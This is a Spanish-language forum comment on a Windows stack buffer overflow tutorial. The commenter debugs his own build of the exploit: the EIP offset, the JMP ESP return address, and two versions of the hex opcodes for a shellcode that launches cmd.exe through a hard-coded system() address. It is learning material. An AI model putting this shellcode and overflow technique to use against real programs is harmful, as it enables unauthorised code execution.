El texto está muy bueno Rojodos, ya había leído varios artículos sobre el tema y este me pareció el mejor y más claro. Solamente tengo algunas dudas.
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ Primero unas aclaraciones (por las dudas): estoy compilando con visual C ++ 6.0 y los (todos) offset (por ejemplo el que encontrás con Findjmp.exe - 0x77F8980F-) son iguales a los de mi máquina.
???????????????? Aclarado esto paso a las consultas:
1ro: “Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD...
Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y ejecutara nuestra shellcode.”
Esto dice tu manual, a mí me aparece 52525252 en lugar de 54545454 (RRRR) no se porque difiere, pero me parece más lógico ya que el array que declaraste en el programa vulnerable (char buffer[64]; //Declaramos un array con 64 bytes de espacio) es de 64 bytes, y al estar usando 4 caracteres por letra (AAAABBBB….) me parece que efectivamente debería saltar en RRRR por que 64 dividido en 4 = 16 y la letra 16 es “Q” por lo tanto la que sigue sería la que lo haría revalsar (R). ???
2do. En tu manual:
“0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode 0040B4ED |. 8BEC MOV EBP,ESP 0040B4EF |. 33FF XOR EDI,EDI 0040B4F1 |. 57 PUSH EDI 0040B4F2 |. 83EC 04 SUB ESP,4 0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63 0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D 0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64 0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E 0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65 0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78 0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65 0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0040B514 |. 50 PUSH EAX 0040B515 |. BB 4480BF77 MOV EBX,77BF8044 0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode”
A mi esto me que da igual solo que el opcode que vos escribís es “55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3” y el que yo interpreto es “55 8B EC 33 FF 57 83 EC 08 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB 44 80 BF 77 FF D3” no se si entendí mal que se obtiene el opcode o que es lo que pasa?
3ro. No entiendo por que hace falta que busquemos un JMP ESP para hacerlo saltar a 55555555 y no directamente desde 54545454 lo hacemos saltar a nuestro opcode.
Calculo que por algo de lo anterior es que no funciona mi exploit, cuando lo ejecuto me sale LO QUE ESCRIBISTE "Cadena más offset...." abajo la cadena "AAAABBBB...." hasta la letra Q que es lo que yo puse y com 30 caracteres muy extraños más, seguramente basura de la memoria (creo).
Ya probé todas las modificaciones que se me ocurrieron.
Gracias, y lo repito, muy buen manual.
|